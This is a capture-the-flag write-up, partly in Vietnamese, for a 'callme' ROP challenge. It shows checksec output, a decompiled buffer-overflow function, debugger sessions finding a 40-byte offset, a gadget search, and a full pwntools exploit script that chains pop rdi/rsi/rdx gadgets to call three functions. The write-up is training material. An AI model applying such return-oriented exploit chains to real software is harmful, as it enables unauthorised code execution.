callme - challenge 3
binary file and my exploit code
Hint
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/ROP/chall3_callme$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
pwndbg> checksec
[*] '/mnt/d/pwn_myself/ROP/chall3_callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
int pwnme()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
memset(s, 0, sizeof(s));
puts("Hope you read the instructions...\n");
printf("> ");
read(0, s, 512uLL);
return puts("Thank you!");
}
void __noreturn usefulFunction()
{
callme_three();
callme_two(4LL, 5LL, 6LL);
callme_one(4LL, 5LL, 6LL);
exit(1);
}
Với hint mà đề bài cho thì ở chall này ta phải gọi đuộc 3 hàm callme() với 3 tham số tương ứng như trên.
Với checksec như trên thì chúng ta không thể dùng shellcode với NX enable. Thay vào đó sẽ dùng ROP với overflow.
Let's go:
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004006a8 _init
0x00000000004006d0 puts@plt
0x00000000004006e0 printf@plt
0x00000000004006f0 callme_three@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 callme_one@plt
0x0000000000400730 setvbuf@plt
0x0000000000400740 callme_two@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x0000000000400898 pwnme
0x00000000004008f2 usefulFunction
0x000000000040093c usefulGadgets
0x0000000000400940 __libc_csu_init
0x00000000004009b0 __libc_csu_fini
0x00000000004009b4 _fini
Ở đây ta có được địa chỉ của 3 hàm callme()
tiếp đến xem xem phải overflow bao nhiêu bytes để đến được return address:
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
► 0x4008e0 <pwnme+72> call read@plt <read@plt>
fd: 0x0 (/dev/pts/5)
buf: 0x7fffffffe050 ◂— 0x0
nbytes: 0x200
0x4008e5 <pwnme+77> mov edi, 0x400a16
0x4008ea <pwnme+82> call puts@plt <puts@plt>
0x4008ef <pwnme+87> nop
0x4008f0 <pwnme+88> leave
0x4008f1 <pwnme+89> ret
0x4008f2 <usefulFunction> push rbp
0x4008f3 <usefulFunction+1> mov rbp, rsp
0x4008f6 <usefulFunction+4> mov edx, 6
0x4008fb <usefulFunction+9> mov esi, 5
0x400900 <usefulFunction+14> mov edi, 4
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rax rsi rsp 0x7fffffffe050 ◂— 0x0
... ↓ 3 skipped
04:0020│ rbp 0x7fffffffe070 —▸ 0x7fffffffe080 ◂— 0x1
05:0028│ 0x7fffffffe078 —▸ 0x400887 (main+64) ◂— mov edi, 0x4009e7
06:0030│ 0x7fffffffe080 ◂— 0x1
07:0038│ 0x7fffffffe088 —▸ 0x7ffff7a01d90 (__libc_start_call_main+128) ◂— mov edi, eax
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
string nhập vào sẽ được lưu ở 0x7fffffffe050
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
0x4008e0 <pwnme+72> call read@plt <read@plt>
0x4008e5 <pwnme+77> mov edi, 0x400a16
0x4008ea <pwnme+82> call puts@plt <puts@plt>
0x4008ef <pwnme+87> nop
0x4008f0 <pwnme+88> leave
► 0x4008f1 <pwnme+89> ret <0x400887; main+64>
↓
0x400887 <main+64> mov edi, 0x4009e7
0x40088c <main+69> call puts@plt <puts@plt>
0x400891 <main+74> mov eax, 0
0x400896 <main+79> pop rbp
0x400897 <main+80> ret
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe078 —▸ 0x400887 (main+64) ◂— mov edi, 0x4009e7
01:0008│ rbp 0x7fffffffe080 ◂— 0x1
02:0010│ 0x7fffffffe088 —▸ 0x7ffff7a01d90 (__libc_start_call_main+128) ◂— mov edi, eax
03:0018│ 0x7fffffffe090 ◂— 0x0
return address = 0x7fffffffe078
byte overflow = 0x7fffffffe078 - 0x7fffffffe050 = 40 bytes
Chall này ở chuỗi các chall dùng kỹ thuật ROP :)), nên tất nhiên ta đi tìm ROP gadget phù hợp.
Ở đây cần truyền vào 3 tham số cho 3 hàm callme, và là kiến trúc 64-bit => các tham số sẽ được lưu ở các thanh ghi tương ứng như đã nói ở các chall trước => cần Gadget pop rdi,rsi,rdx
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/ROP/chall3_callme$ ROPgadget --binary callme | grep "pop rdi ; pop rsi ; pop rdx ; ret"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
Thêm nữa do đây là kiến trúc 64-bit như đã nói ở chall trước ta cần tránh movaps => cần ret gadget
0x00000000004006be : ret
Exploit
from pwn import *
r = process("./callme")
#gdb.attach(r, api = True)
callme1 = 0x400720
callme2 = 0x400740
callme3 = 0x4006f0
agr1 = 0xdeadbeefdeadbeef
agr2 = 0xcafebabecafebabe
agr3 = 0xd00df00dd00df00d
ret_gadget = 0x00000000004006be
pop_rdi_rsi_rdx_ret = 0x000000000040093c
agr = p64(ret_gadget) + p64(pop_rdi_rsi_rdx_ret) + p64(agr1) + p64(agr2) + p64(agr3)
payload = b'A'*40 + agr + p64(callme1) + agr + p64(callme2) + agr + p64(callme3)
r.sendline(payload)
r.interactive()